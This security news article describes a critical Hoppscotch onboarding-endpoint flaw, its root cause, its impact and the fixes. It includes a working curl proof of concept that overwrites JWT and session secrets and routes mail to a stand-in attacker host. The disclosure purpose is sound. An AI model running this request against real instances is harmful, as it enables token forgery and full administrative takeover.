Critical Security Vulnerability Discovered in Hoppscotch Backend
A newly identified security vulnerability, designated as CVE-2026-50160, poses a significant threat to users of Hoppscotch, a self-hosted API development platform. This critical flaw enables unauthenticated attackers to overwrite sensitive configuration values, particularly the JSON Web Token (JWT) signing secret. If exploited, this flaw could empower attackers to gain full administrative control over affected instances of the software.
The details of this vulnerability have been thoroughly documented in the GitHub advisory identified as GHSA-j542-4rch-8hwf. All versions of Hoppscotch up to 2026.4.1 are impacted by this issue, but users can protect themselves by upgrading to version 2026.5.0, which has received a patch. Given its potential for exploitation and the depth of compromise it could introduce, this flaw is rated with a maximum Common Vulnerability Scoring System (CVSS) score of 10.0.
Root Cause and Technical Breakdown
The vulnerability arises from a mass assignment flaw in the onboarding configuration endpoint, specifically the POST /v1/onboarding/config endpoint. This endpoint is designed to set up application parameters, such as SMTP and OAuth configurations, but it is accessible without authentication during the initial setup phase when no users have been created (usersCount === 0). This design oversight allows attackers to manipulate the system during a critical window, enabling them to inject arbitrary configuration keys that go beyond what is anticipated in the request Data Transfer Object (DTO).
At the core of the problem is an improper implementation of NestJS’s ValidationPipe, which lacks the requisite allowlist option. This omission means that additional properties sent in the request body are not discarded and are instead processed directly by the application logic. As the application iterates through the supplied keys without checking for legitimacy, sensitive internal enum values like JWT_SECRET and SESSION_SECRET become vulnerable to being overwritten by attacker-controlled values.
Moreover, the validation logic for environment values inadequately rejects unauthorized keys. When unrecognized parameters appear, the system fails to handle them correctly, allowing malicious inputs to slip through validation checks. This issue, in conjunction with the lack of authentication for the onboarding endpoint, creates an optimal scenario for exploitation, which can lead to complete system takeover.
Exploit Scenario
In a plausible exploitation scenario, an attacker could overwrite the JWT_SECRET using a crafted HTTP request, thereby gaining the ability to forge valid authentication tokens for any user, including those with administrative privileges. Since the security of token verification is reliant upon this secret, the usual protections offered by JwtAuthGuard are rendered ineffective. Subsequently, attackers could impersonate legitimate users, access sensitive information, extract API keys, and retain unauthorized access even after resetting credentials. Additionally, modifying the SESSION_SECRET opens avenues for session hijacking, compromising the security of current user sessions.
This vulnerability is particularly alarming because it affects newly deployed instances, which are often exposed to the internet prior to completing the onboarding process. This initial phase represents a high-risk period susceptible to both automated scanning and opportunistic attacks, making it imperative for organizations to act swiftly.
Proof-of-Concept
Security researchers highlight that the exploitation process is relatively straightforward. It can be initiated with a simple, one-time HTTP request to the vulnerable endpoint. An example of such a request, demonstrating how attackers may inject harmful configuration values, is provided below:
# Step 1: Check onboarding status
curl http://target:3170/v1/onboarding/status
# Step 2: Exploit mass assignment to overwrite secrets
curl -X POST http://target:3170/v1/onboarding/config \
-H "Content-Type: application/json" \
-d '{
"VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
"MAILER_SMTP_ENABLE": "true",
"MAILER_SMTP_URL": "smtp://attacker.com:25",
"MAILER_ADDRESS_FROM": "[email protected]",
"JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
"SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
}'
# Step 3: Verify compromise (database check)
psql -c "SELECT name, value FROM InfraConfig WHERE name='JWT_SECRET';"Should the attack succeed, the backend would unwittingly store attacker-defined secrets, thereby enabling ongoing unauthorized access and token forgery.
Conclusion and Recommendations
The integrity of systems using the Hoppscotch platform has been placed at grave risk due to this flaw, categorized under CWE-915, or Improperly Controlled Modification of Dynamically-Determined Object Attributes. Fortunately, measures can be taken to mitigate the threat. The advisory suggests that enabling the allowlist feature in ValidationPipe would have wholly prevented this attack by filtering out unknown parameters. Other recommended actions include the strict whitelisting of allowed configuration keys, explicit validation rejection of sensitive parameters, and requiring authentication or a one-time setup token for onboarding procedures.
Organizations that operate self-hosted instances of Hoppscotch are urged to upgrade to version 2026.5.0 or later without delay. Until a proper patch is applied, any instances exposed during the initial setup remain critically vulnerable to remote attacks requiring no user interaction.